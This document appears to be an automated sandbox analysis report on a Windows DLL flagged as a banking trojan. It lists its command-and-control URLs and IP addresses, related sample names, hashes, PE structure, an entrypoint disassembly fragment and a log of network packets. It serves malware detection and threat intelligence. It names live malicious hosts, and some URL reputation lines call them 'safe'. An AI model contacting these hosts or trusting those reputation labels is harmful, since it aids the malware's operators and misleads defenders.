https://143.244.140.214:808/l9	rundll32.exe, 00000003.00000003.781390646.000000000073D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/z	rundll32.exe, 00000003.00000003.675255963.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://183.244.140.214:808/	loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/q	rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dllu	rundll32.exe, 00000003.00000003.823680145.000000000073D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/l0	rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/l/	rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/h	rundll32.exe, 00000003.00000003.527805201.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dllusZ	rundll32.exe, 00000003.00000003.599520556.0000000000739000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/l	loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.77.0.96	unknown	United States	20473	AS-CHOOPAUS	true
185.56.219.47	unknown	Italy	202675	KELIWEBIT	true
192.46.210.220	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	true
143.244.140.214	unknown	United States	174	COGENT-174US	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	510689
Start date:	28.10.2021
Start time:	04:55:56
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Variant.Razy.980776.8232.19927 (renamed file extension from 19927 to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.bank.troj.evad.winDLL@11/0@0/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 13.7% (good quality ratio 13.7%) Quality average: 78.8% Quality standard deviation: 15.9%
HCA Information:	Successful, ratio: 96% Number of executed functions: 19 Number of non-executed functions: 54
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, taskhostw.exe, audiodg.exe, BackgroundTransferHost.exe, UpdateNotificationMgr.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 173.222.108.210, 173.222.108.226, 20.50.102.62, 23.211.4.86, 20.82.210.154, 80.67.82.235, 80.67.82.211, 20.54.110.249, 23.203.70.208, 40.112.88.60, 51.11.168.232, 20.190.160.4, 20.190.160.134, 20.190.160.8, 20.190.160.136, 20.190.160.132, 20.190.160.69, 20.190.160.73, 20.190.160.71, 20.49.150.241, 51.104.136.2 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e11290.dspg.akamaiedge.net, e12564.dspb.akamaiedge.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, www.tm.a.prd.aadg.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, login.msa.msidentity.com, download.windowsupdate.com.edgesuite.net, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, go.microsoft.com.edgekey.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:57:58	API Interceptor	180x Sleep call for process: rundll32.exe modified
04:58:01	API Interceptor	181x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
45.77.0.96	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse
185.56.219.47	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
KELIWEBIT	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	185.56.219.47
AS-CHOOPAUS	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	45.77.0.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	192.46.210.220

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.439735798494042
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Razy.980776.8232.dll
File size:	1375232
MD5:	6df0687582c592e9860683a68858e082
SHA1:	53780def0699c055381746ce4ecebef8f17fd12d
SHA256:	90877ec621cc53fc31e693362e3b335a429aecc77abdbfd8b7d5d7493478f36d
SHA512:	43c27e2af87306bd6389af980e50dffc2b219868881db1a026d56eef7b012f94d11426cf82338901c7e950b463e1e7a8e8f0f7563040a3b5c013b4a39906a376
SSDEEP:	24576:anxqsL+DvNdnhMr5Lo6dOGcuQNrSH9d6N9eYWtZgDxxxSPnsqz7puATt5csRbu7i:acfk82uAJTI7EPswKwuG
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:...~...~...~.....8.z...w.X._...,...z...,...l...,...c...,...[.....<.f...~.......,.......,.......,.3.....,.......Rich~..........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x4336b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5BBD73BC [Wed Oct 10 03:36:28 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ccbe70d6d0d02f6248ca160d6a0bb85b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F0A74999C37h
call 00007F0A7499A967h
mov eax, dword ptr [ebp+10h]
push eax
mov ecx, dword ptr [ebp+0Ch]
push ecx
mov edx, dword ptr [ebp+08h]
push edx
call 00007F0A74999A26h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
push edx
mov edx, dword ptr [ebp+08h]
xor edx, dword ptr [0054806Ch]
push edx
call 00007F0A74999C74h
add esp, 08h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
mov eax, 00000020h
sub eax, edx
push eax
mov ecx, dword ptr [ebp+08h]
push ecx
call 00007F0A74999C43h
add esp, 08h
xor eax, dword ptr [0054806Ch]
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+0Ch]
ror eax, cl
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
call 00007F0A7499AFCDh
push eax
call 00007F0A749DBCD7h
add esp, 04h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x147190	0x6c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1471fc	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15c000	0x72b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x143110	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x143168	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc7000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc5e2f	0xc6000	False	0.442065922901	data	6.47813133498	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xc7000	0x80aec	0x80c00	False	0.534103837985	data	5.52051601648	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x148000	0x13ba0	0x1800	False	0.1875	DOS executable (block device driverpyright)	3.99635070896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x15c000	0x72b4	0x7400	False	0.710264008621	data	6.69742088731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

GetCurrentDirectoryA, GetTempPathA, GetWindowsDirectoryA, VirtualProtectEx, FindFirstChangeNotificationA, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, GetProcAddress, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, FreeLibrary, LoadLibraryExW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleExW, HeapAlloc, HeapValidate, GetSystemInfo, ExitProcess, GetStdHandle, GetFileType, WriteFile, OutputDebugStringA, OutputDebugStringW, WriteConsoleW, CloseHandle, WaitForSingleObjectEx, CreateThread, SetConsoleCtrlHandler, GetCurrentThread, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapFree, HeapReAlloc, HeapSize, HeapQueryInformation, GetACP, GetProcessHeap, GetTimeZoneInformation, FindClose, FindFirstFileExA, FindFirstFileExW, FindNextFileA, FindNextFileW, IsValidCodePage, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetEnvironmentVariableW, SetStdHandle, GetConsoleCP, GetConsoleMode, SetFilePointerEx, CreateFileW

Exports

Name	Ordinal	Address
Bluewing	1	0x49eed0
Earth	2	0x49efd0
Masterjust	3	0x49eb20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 04:57:57.951545954 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:57.951613903 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:57.951729059 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:57.977791071 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:57.977837086 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:58.507962942 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:58.508114100 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:58.848462105 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:58.848484993 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:58.848769903 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:58.848855972 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:58.852910995 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:58.852999926 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:58.853028059 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:59.560364962 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:59.560451031 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:59.560545921 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:59.560569048 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:59.572635889 CEST	49747	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:57:59.572674990 CEST	443	49747	192.46.210.220	192.168.2.6
Oct 28, 2021 04:57:59.728296041 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:57:59.888998032 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:57:59.889239073 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:57:59.890458107 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:00.048832893 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:00.050988913 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:00.051131010 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:00.411868095 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:00.569957018 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:00.570770979 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:00.570889950 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:00.572593927 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:00.572730064 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:00.730981112 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:00.731003046 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:01.045767069 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.045819044 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:01.046087027 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.068650961 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.068682909 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:01.118796110 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:01.118822098 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:01.118881941 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:01.118933916 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:01.126609087 CEST	49748	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:01.253654957 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.284967899 CEST	808	49748	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:01.420034885 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:01.422132969 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.422914028 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.589122057 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:01.590126991 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:01.590590954 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.596137047 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:01.596292019 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.598588943 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.765196085 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:01.765328884 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.766067028 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.766206980 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:01.854011059 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.854048014 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:01.854454994 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:01.854542971 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.859524012 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.859631062 CEST	49749	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:01.859678030 CEST	443	49749	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:01.932539940 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:01.932564974 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:02.314405918 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:02.314426899 CEST	6891	49750	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:02.314666986 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:02.352703094 CEST	49750	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:02.519212961 CEST	6891	49750	45.77.0.96	192.168.2.6
